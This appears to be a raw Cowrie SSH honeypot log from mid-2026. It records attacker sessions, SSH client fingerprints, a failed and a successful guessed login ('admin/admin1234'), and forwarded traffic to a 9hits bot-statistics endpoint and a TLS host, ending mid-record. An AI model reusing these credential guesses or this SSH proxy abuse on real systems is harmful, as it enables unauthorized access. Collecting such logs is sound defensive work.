{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:05:48.310951Z","src_ip":"123.27.168.40","session":"f9eca9c35045","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:05:48.378513Z","src_ip":"103.149.28.157","session":"cdcb834f89f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:05:48.549831Z","src_ip":"123.27.168.40","session":"f9eca9c35045","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.7","message":"Connection lost after 8.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:05:48.763100Z","src_ip":"91.92.40.36","session":"adf638824a74","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:05:49.003872Z","src_ip":"91.92.40.36","session":"2bead77c5900","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:05:49.007078Z","src_ip":"91.92.40.36","session":"2bead77c5900","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"160886","message":"login attempt [root/160886] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:05:49.110816Z","src_ip":"103.149.28.157","session":"cdcb834f89f9","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:05:49.566908Z","src_ip":"123.27.168.40","session":"f9eca9c35045","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:05:49.934840Z","session":"f9eca9c35045","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:05:50.081672Z","session":"f9eca9c35045","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:05:50.167534Z","src_ip":"123.27.168.40","session":"f9eca9c35045","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (Android 1.5; Mobile; rv:73.0) Gecko/73.0 Firefox/73.0\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nContent-Length: 1180\\r\\nOrigin: http://api.9hits.com\\r\\nConnection: keep-alive\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=S0goS2xWemc%2BV2V4d2FsPg%3D%3DvNVxSp5vrdA8%2BE2oEvpaoqZ3u%2Bi%2FETyxEW8r%2BrC%2FdXdUBApA8gQKSFqN4UdmoL%2FUz%2Bl8Rq6RRpqu5dZ54SuSIG7ozn4IDlZHIqmuXvf0gPZfzjj3eYcKEwgwpkazpzxKeCPro0Iqs%2Ftu7%2BU2OIoGRaHlh6Ow7F9Y890gBqY2SXxwiHtUG%2B6fjbP0gVPgsULz8e4cvQL7wab3czKmfAuXqC92GCn1Lj9L0fzD%2B%2FN2ubdhDn%2FRf1wYTPy1UOBVNx2m9nZJjDwaP6pXSMtyWndNrJMIzJo6ld4lpEkkxsJTKNZ2effLeeuffdEurZ48RDp%2Fa0TGhKb%2BOj0S9Mxqp%2Bx2H3s3GN%2B9fV5xztojlXNsq%2FCT1p6Qzf%2FbwuaTITn5W6GwS7SyVrkohTKcEmUyjhi4nSTOwHBHNi%2FD%2BbGADli4glsA%2Bfl0uIAuXKxPJKsm1JxrAE6cEPK56DzO9e7easOhyzkCTTtmjDUJMCDug99QZ60kgnHsm20jtmi58p0OtsQqEGrMnWGpw8db4DtitXJGgY88DLJ7SDn%2B8EtkMVSiEoQ91MZ0gkDjWEpNH6RQa%2B%2BguwMpJ67RhRjD9DfYXLFoNi1JCsPSx5TDDlHYAMKSNk7KPN4lGrEigE19kFC2Jk1k8Y%2Fq6YKTbvNzNqmbxbPylxMOavV5G4OMRyYMwP2p3xUMpBUms4j%2FP9PenSfnMm3C0wDFEbEWRhr0PpjYlXLApuc92bKpVxtgWXgpYsQ1vvm8jX9Xk82hYpRNr9OsbOrr%2BtQMgRgrpcDU6STgevYqBUn73Z%2FoGlaTtqUJXiFbYnvlWkGRLtO7l2sDggd4YjoMGgx%2Fi5qPbA1Ux%2F3%2FcLCqzyYM17%2FC2k3iz4B3hePTEfgvrfpyxgWb6SQr2sEtaQqmY2BuLHuJ3Aq5VBh9w3FhXjH2CqJpAU5qbZKMb5qdpeaVw1o%2Fwf%2FClObW0RZABIbj5bDSq6bL1af4CHOsK%2B%2FfOHKjcwCUXmHg%2BLcSTaGocVDHpl4SdKK%2FunvS0t2zyDuf98tCKdlNfD3IVe0gdftbJ86LRFneFEkSNpg2V4vXI2E%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (Android 1.5; Mobile; rv:73.0) Gecko/73.0 Firefox/73.0\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nContent-Length: 1180\\r\\nOrigin: http://api.9hits.com\\r\\nConnection: keep-alive\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=S0goS2xWemc%2BV2V4d2FsPg%3D%3DvNVxSp5vrdA8%2BE2oEvpaoqZ3u%2Bi%2FETyxEW8r%2BrC%2FdXdUBApA8gQKSFqN4UdmoL%2FUz%2Bl8Rq6RRpqu5dZ54SuSIG7ozn4IDlZHIqmuXvf0gPZfzjj3eYcKEwgwpkazpzxKeCPro0Iqs%2Ftu7%2BU2OIoGRaHlh6Ow7F9Y890gBqY2SXxwiHtUG%2B6fjbP0gVPgsULz8e4cvQL7wab3czKmfAuXqC92GCn1Lj9L0fzD%2B%2FN2ubdhDn%2FRf1wYTPy1UOBVNx2m9nZJjDwaP6pXSMtyWndNrJMIzJo6ld4lpEkkxsJTKNZ2effLeeuffdEurZ48RDp%2Fa0TGhKb%2BOj0S9Mxqp%2Bx2H3s3GN%2B9fV5xztojlXNsq%2FCT1p6Qzf%2FbwuaTITn5W6GwS7SyVrkohTKcEmUyjhi4nSTOwHBHNi%2FD%2BbGADli4glsA%2Bfl0uIAuXKxPJKsm1JxrAE6cEPK56DzO9e7easOhyzkCTTtmjDUJMCDug99QZ60kgnHsm20jtmi58p0OtsQqEGrMnWGpw8db4DtitXJGgY88DLJ7SDn%2B8EtkMVSiEoQ91MZ0gkDjWEpNH6RQa%2B%2BguwMpJ67RhRjD9DfYXLFoNi1JCsPSx5TDDlHYAMKSNk7KPN4lGrEigE19kFC2Jk1k8Y%2Fq6YKTbvNzNqmbxbPylxMOavV5G4OMRyYMwP2p3xUMpBUms4j%2FP9PenSfnMm3C0wDFEbEWRhr0PpjYlXLApuc92bKpVxtgWXgpYsQ1vvm8jX9Xk82hYpRNr9OsbOrr%2BtQMgRgrpcDU6STgevYqBUn73Z%2FoGlaTtqUJXiFbYnvlWkGRLtO7l2sDggd4YjoMGgx%2Fi5qPbA1Ux%2F3%2FcLCqzyYM17%2FC2k3iz4B3hePTEfgvrfpyxgWb6SQr2sEtaQqmY2BuLHuJ3Aq5VBh9w3FhXjH2CqJpAU5qbZKMb5qdpeaVw1o%2Fwf%2FClObW0RZABIbj5bDSq6bL1af4CHOsK%2B%2FfOHKjcwCUXmHg%2BLcSTaGocVDHpl4SdKK%2FunvS0t2zyDuf98tCKdlNfD3IVe0gdftbJ86LRFneFEkSNpg2V4vXI2E%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:05:50.170629Z","src_ip":"123.27.168.40","session":"f9eca9c35045","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:05:50.356393Z","src_ip":"103.149.28.157","session":"cdcb834f89f9","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:05:50.393658Z","src_ip":"123.27.168.40","session":"f9eca9c35045","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x031m\\xcb\\x0c\\x9dqg\\xe3m\\x1c\\xa5J2\\xd1#\\xd2\\xb5\\x1f\\xfe\\x8d\\x9ep\\xe4h\\xe2?\\xf7\\xdb\\xbf\\xaa7\\r F[\\xd0\\xde{\\x8b(\\xb0\\x98\\xbd\\x9a\\xcc\\xce\\xb1\\xc7\\x00\\xca\\x02J\\xa8\\x82\\\\\\xf6\\xf7z\\x10>\\x96\\xea+I\\xe7\\x00 \\x9a\\x9a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xba\\xba\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xda\\xda\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xda\\xda\\x00\\x01\\x00\\x00\\x1d\\x00 \\x8d\\x89\\xc0=\\xfce\\xb4\\xd1jR\\xe8\\x0e\\x82\\x18\\x04\\x02w\\xec\\x0e:\\xb8-\\xd4iLg\\x9c4\\xcb\\xe8\\xdfX\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n**\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xaa\\xaa\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x031m\\xcb\\x0c\\x9dqg\\xe3m\\x1c\\xa5J2\\xd1#\\xd2\\xb5\\x1f\\xfe\\x8d\\x9ep\\xe4h\\xe2?\\xf7\\xdb\\xbf\\xaa7\\r F[\\xd0\\xde{\\x8b(\\xb0\\x98\\xbd\\x9a\\xcc\\xce\\xb1\\xc7\\x00\\xca\\x02J\\xa8\\x82\\\\\\xf6\\xf7z\\x10>\\x96\\xea+I\\xe7\\x00 \\x9a\\x9a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xba\\xba\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xda\\xda\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xda\\xda\\x00\\x01\\x00\\x00\\x1d\\x00 \\x8d\\x89\\xc0=\\xfce\\xb4\\xd1jR\\xe8\\x0e\\x82\\x18\\x04\\x02w\\xec\\x0e:\\xb8-\\xd4iLg\\x9c4\\xcb\\xe8\\xdfX\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n**\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xaa\\xaa\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:05:50.396630Z","src_ip":"123.27.168.40","session":"f9eca9c35045","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:05:50.846852Z","session":"f9eca9c35045","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:05:51.079533Z","src_ip":"123.27.168.40","session":"f9eca9c35045","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x99\\xa4\\x96\\x05\\xd4c\\xe5\\x85`u\\x946\\xccSJ\\xcc\\xd0$\\x90LG\\xa3-\\x0c*\\xcc7\\xba\\xc7\\xd6\\x99\\x0e b[\\xb8\\xc5\\x8b\\x0c:\\xba\\xe7\\xff\\xd7a\\xdf\\x1b\\xe5\\x83n\\x15\\xc0\\xe1z\\xb7\\x974\\x01\\xc6x\\xaa\\xcc\\xdc\\xdd\\x1a\\x00\"**\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91jj\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08ZZ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)ZZ\\x00\\x01\\x00\\x00\\x1d\\x00 6\\xc7\\xe2\\xf3\\xe6yF\\x1e\\t\\'\\xf7\\xadI,\\rBh\\x0c.\\xbd\\xf8\\x9f\\x1f\\xe5\\xbe\\xa2>\\xab\\xb6\\xcd\\xffb\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nJJ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x99\\xa4\\x96\\x05\\xd4c\\xe5\\x85`u\\x946\\xccSJ\\xcc\\xd0$\\x90LG\\xa3-\\x0c*\\xcc7\\xba\\xc7\\xd6\\x99\\x0e 